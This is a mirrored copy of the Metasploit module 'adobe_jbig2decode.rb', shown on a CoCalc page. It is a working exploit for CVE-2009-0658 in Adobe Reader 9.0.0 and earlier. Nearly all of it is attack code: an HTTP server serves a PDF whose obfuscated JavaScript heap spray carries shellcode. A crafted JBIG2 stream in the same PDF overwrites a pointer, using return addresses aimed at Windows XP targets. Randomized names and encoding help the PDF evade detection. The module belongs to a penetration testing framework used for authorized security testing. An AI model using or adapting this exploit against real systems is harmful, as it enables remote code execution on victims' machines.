CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/adobe_jbig2decode.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::Remote::HttpServer::HTML
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe JBIG2Decode Heap Corruption',
16
'Description' => %q{
17
This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
18
This module relies upon javascript for the heap spray.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
# Metasploit implementation
24
'natron',
25
# bl4cksecurity blog explanation of vuln [see References]
26
'xort', 'redsand',
27
# obfuscation techniques and pdf template from util_printf
28
'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
29
],
30
'References' =>
31
[
32
[ 'CVE' , '2009-0658' ],
33
[ 'OSVDB', '52073' ],
34
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-04.html']
35
],
36
'DefaultOptions' =>
37
{
38
'EXITFUNC' => 'process',
39
},
40
'Payload' =>
41
{
42
'Space' => 1024,
43
'BadChars' => ""
44
},
45
'Platform' => 'win',
46
'Targets' =>
47
[
48
[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
49
[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
50
],
51
'DisclosureDate' => '2009-02-19',
52
'DefaultTarget' => 0))
53
end
54
55
def autofilter
56
false
57
end
58
59
def check_dependencies
60
use_zlib
61
end
62
63
def on_request_uri(cli, request)
64
return if ((p = regenerate_payload(cli)) == nil)
65
# Encode the shellcode.
66
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
67
ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))
68
69
nops = Rex::Text.to_unescape(make_nops(4))
70
71
# Randomize some variables
72
rand1 = rand_text_alpha(rand(50) + 1)
73
rand2 = rand_text_alpha(rand(50) + 1)
74
rand3 = rand_text_alpha(rand(50) + 1)
75
rand4 = rand_text_alpha(rand(50) + 1)
76
rand5 = rand_text_alpha(rand(50) + 1)
77
rand6 = rand_text_alpha(rand(50) + 1)
78
rand7 = rand_text_alpha(rand(50) + 1)
79
rand8 = rand_text_alpha(rand(50) + 1)
80
rand9 = rand_text_alpha(rand(50) + 1)
81
rand10 = rand_text_alpha(rand(50) + 1)
82
rand11 = rand_text_alpha(rand(50) + 1)
83
rand12 = rand_text_alpha(rand(50) + 1)
84
rand13 = rand_text_alpha(rand(50) + 1)
85
rand14 = rand_text_alpha(rand(50) + 1)
86
rand15 = rand_text_alpha(rand(50) + 1)
87
rand16 = rand_text_alpha(rand(50) + 1)
88
randnop = rand_text_alpha(rand(100) + 1)
89
90
script = %Q|
91
var #{rand1} = "";
92
var #{rand2} = "";
93
var #{rand3} = unescape("#{shellcode}");
94
var #{rand4} = "";
95
var #{randnop} = "#{nops}";
96
97
for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape(#{randnop});
98
#{rand6} = #{rand4} + #{rand3};
99
#{rand7} = unescape(#{randnop});
100
#{rand8} = 20;
101
#{rand9} = #{rand8}+#{rand6}.length
102
while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
103
#{rand10} = #{rand7}.substring(0, #{rand9});
104
#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
105
while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
106
#{rand12} = new Array();
107
for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
108
109
for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
110
#{rand13} = #{rand2}.length + 20
111
while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
112
#{rand14} = #{rand2}.substring(0, #{rand13});
113
#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
114
while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
115
#{rand16} = new Array();
116
for (#{rand5}=0;#{rand5}<175;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
117
|
118
eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]
119
eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]
120
modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
121
# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
122
# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec
123
# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214
124
125
jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr
126
127
# Create the pdf
128
pdf = make_pdf(script, jbig2stream)
129
130
print_status("Sending #{self.name}")
131
132
send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Content-Disposition' => 'Attachment' }) #
133
134
handler(cli)
135
136
end
137
138
def random_non_ascii_string(count)
139
result = ""
140
count.times do
141
result << (rand(128) + 128).chr
142
end
143
result
144
end
145
146
def io_def(id)
147
"%d 0 obj" % id
148
end
149
150
def io_ref(id)
151
"%d 0 R" % id
152
end
153
154
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
155
def n_obfu(str)
156
result = ""
157
str.scan(/./u) do |c|
158
if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
159
result << "#%x" % c.unpack("C*")[0]
160
# Randomize the spaces and newlines
161
elsif c == " "
162
result << " " * (rand(3) + 1)
163
if rand(2) == 0
164
result << "\x0d\x0a"
165
result << " " * rand(2)
166
end
167
else
168
result << c
169
end
170
end
171
result
172
end
173
174
def ascii_hex_whitespace_encode(str)
175
result = ""
176
whitespace = ""
177
str.each_byte do |b|
178
result << whitespace << "%02x" % b
179
whitespace = " " * (rand(3) + 1)
180
end
181
result << ">"
182
end
183
184
def make_pdf(js, jbig2)
185
186
xref = []
187
eol = "\x0d\x0a"
188
endobj = "endobj" << eol
189
190
pdf = "%PDF-1.5" << eol
191
pdf << "%" << random_non_ascii_string(4) << eol
192
xref << pdf.length
193
pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj
194
xref << pdf.length
195
pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj
196
xref << pdf.length
197
pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj
198
xref << pdf.length
199
pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
200
xref << pdf.length
201
pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj
202
xref << pdf.length
203
204
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5)+4) # Add random 4-9 compression level
205
pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
206
pdf << "stream" << eol
207
pdf << compressed << eol
208
pdf << "endstream" << eol
209
pdf << endobj
210
xref << pdf.length
211
212
pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol
213
214
xref << pdf.length
215
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
216
pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
217
pdf << "stream" << eol
218
pdf << compressed << eol
219
pdf << "endstream" << eol
220
pdf << endobj
221
222
xrefPosition = pdf.length
223
pdf << "xref" << eol
224
pdf << "0 %d" % (xref.length + 1) << eol
225
pdf << "0000000000 65535 f" << eol
226
xref.each do |index|
227
pdf << "%010d 00000 n" % index << eol
228
end
229
pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol
230
pdf << "startxref" << eol
231
pdf << xrefPosition.to_s() << eol
232
pdf << "%%EOF" << eol
233
end
234
end
235
236